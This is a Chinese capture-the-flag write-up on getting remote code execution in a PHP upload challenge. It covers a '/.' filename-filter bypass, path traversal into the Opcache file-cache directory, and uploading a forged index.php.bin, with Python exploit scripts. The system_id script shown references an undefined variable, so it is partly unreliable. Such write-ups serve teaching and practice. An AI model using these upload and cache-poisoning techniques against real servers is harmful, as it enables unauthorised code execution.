利用Opcache缓存RCE以及"/."trick
作者:互联网
2019年3月21日10:20:01
源码:
<?php
error_reporting(0);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
通过读源码可知该php能实现许多功能:
- 获得当前dir:
'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/'
- 能拿到phpinfo
- 删除dir内所有文件及文件夹
- 获取时间戳
- 上传文件,要求文件大小不能大于100k字节,且对文件名有限制:
-
- 文件名只能由
a-zA-Z0-9.\/
字符组成
- 文件名只能由
-
-
stristr(pathinfo($name)["extension"], "h")
,后缀名中不能有h/H
经过过滤后
move_uploaded_file($_FILES['file']['tmp_name'], $name);
-
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
设定能打开/var/www/html/$dir
和/var/www/html/flag
的文件以及包含$dir.index.php
文件。提示向$dir
上传index.php文件实现RCE
一、非预期解:
如何绕过过滤呢?
小技巧:根据php底层解析原理,php在做路径处理的时候,会递归的删除路径中存在的/.
,所以在这里,文件名为index.php/.
,即可满足正则匹配,又满足了后缀名不能带h,该name后缀名为空。
但是用该name只能新建,不能覆盖原有的index.php,问题出现在move_uploaded_file
函数,根据php底层解析原理,需要更改name为nullname/../index.php/.
,利用一个不存在的目录再跳回上层,使该函数认为到了一个新的目录,就可以实现覆盖了。
覆盖成功后就可以RCE了,成功获取flag文件但是内容竟然是一个opcache文件,接下来就需要逆向大神来施展本领了。
二、预期解:
opcache的知识补充:
编译与解释
编译器是把源程序的每一条语句都编译成机器语言,并保存成二进制文件,这样运行时计算机可以直接以机器语言来运行此程序,速度很快;
而解释器则是只在执行程序时,才一条一条的解释成机器语言给计算机来执行,所以运行速度是不如编译后的程序运行的快的.
解释型语言的实现中,翻译器并不产生目标机器代码,而是产生易于执行的中间代码,这种中间代码与机器代码是不同的,中间代码的解释是由软件支持的,不能直接使用硬件,软件解释器通常会导致执行效率较低。用解释型语言编写的程序是由另一个可以理解中间代码的解释程序执行的。与编译程序不同的是,解释程序的任务是逐一将源程序的语句解释成可执行的机器指令,不需要将源程序翻译成目标代码后再执行。对于解释型Basic语言,需要一个专门的解释器解释执行
在很多时候我们成为编译,但是它实际是进行解释的
对于一个编译型程序,它的编译和执行是分开的,先编译成二进制可执行文件,然后在次执行。
对于PHP、Python属于解释型语言,不产生机器码,而是产生中间码(中间码是不能直接执行,这个中间码只有解释器可以识别到,中间码要靠解析器来进行执行)
比如说PHP的解析器是Zend,PHP使用Zend引擎,中间码我们也称作为操作码(opcode)
Basic程序,每条语言只有在执行才被翻译。这种解释型语言每执行一次就翻译一次,因而效率低下。
1、编辑:用编辑软件(EDIT.EXE或记事本)形成源程序(.ASM),如:LX.ASM;
2、汇编:用汇编程序(MASM.EXE)对源程序进行汇编,形成目标文件(.OBJ),格式如下:MASM LX.ASM;
3、连接:用连接程序(LINK.EXE)对目标程序进行连接,形成可执行文件(.EXE),格式如下:LINK LX.OBJ;
4、执行:如果结果在屏幕在显示,则直接执行可执行文件。
5、调试:用调试程序(DEBUG.EXE)对可执行文件进行调试,格式如下:DEBUG LX.EXE
鸟哥在博客中说,提高PHP 7性能的几个tips,第一条就是开启opache,引用下原文:
记得启用Zend Opcache, 因为PHP7即使不启用Opcache速度也比PHP-5.6启用了Opcache快,
APC与Opcache都是字节码缓存也就是,PHP在被编译的时候,首先会把php代码转换为字节码,字节码然后被执行。
php文件第二次执行时,同样还是会重新转换为字节码,但是很多时候,文件内容几乎是一样的,比如静态HTML文件,生成后内容许久都不会改变,用户访问请求直接由服务器读取响应给客户端浏览器。都不用经过PHP进行解析构建了。
内存中的字节码数据,可以直接缓存进行二次编译。这样程序就会快一些,cpu的消耗也少了。
(这里字节码 就是 opcode)
OPcache 是 PHP 7.0 中内建的缓存引擎。它通过编译 PHP 脚本文件为字节码,并将字节码放到内存中。
同时,它在文件系统中也提供了缓存文件。在 PHP.ini 中配置如下,你需要指定一个缓存目录:
opcache.file_cache=/tmp/opcache
在指定的目录中,OPcache 存储了已编译的 PHP 脚本文件,这些缓存文件被放置在和 Web 目录一致的目录结构中。如,编译后的 /var/www/index.php
文件的缓存会被存储在 /tmp/opcache/[system_id]/var/www/index.php.bin
中。其中system_id是通过当前Zend和PHP的版本号算出来的,github上有现成的脚本可以使用。
解题思路:
- 在本地构建payload,并生成相应opcache文件
- 修改其时间戳,system_id再上传到
tmp/system_id
目录 - 利用主页shell代码:
include index.php
,成功使我们上传的缓存文件生效
Do it
-
拿到phpinfo,通过脚本算出systemid
import sys from packaging import version import re import requests from md5 import md5 php_version = "7.0.28" zend_extension_id = "API320151012,NTS" architecture = "x86_64" bin_id_suffix = "48888" # Logging print "PHP version : " + php_version print "Zend Extension ID : " + zend_extension_id print "Zend Bin ID : " + zend_bin_id print "Assuming " + architecture + " architecture" digest = md5(php_version + zend_extension_id + zend_bin_id).hexdigest() print "------------" print "System ID : " + digest
-
构建payload
将payload写入index.php
开启opcache后访问index.php
在缓存目录下找到index.php.bin,用010editor打开导入opcache模块便能清晰地看出opcache文件结构。接下来就需要修改时间戳和system_id获取时间戳:
主页中有个功能reset是清空你的目录和空间,time是显示时间,我们可以先reset,再time同时记录本地的时间,那么我们就能获取服务器生成缓存的时间戳,脚本如下:import requests url1="http://ip:port/?action=reset" res1 = requests.get(url = url1) url2 = "http://ip:port/?action=time" res2 = requests.get(url = url2) print res2.text tmp = hex(int(res2.text)).replace('0x','') time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2] print time
-
将修改后的index.php.bin上传至对应目录下
import requests url = 'http://ip:port/?action=upload&name=../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/b13459ede32054f014928e512745ae4188e6b151/index.php.bin' files = {'file':open('index.php.bin','rb')} r = requests.post(url,files=files) print r url = 'http://ip:port/?action=shell' r = requests.get(url) print r.text
即达到RCE的目的
标签:index,PHP,name,trick,dir,RCE,php,id,Opcache 来源: https://blog.csdn.net/u013457794/article/details/88998740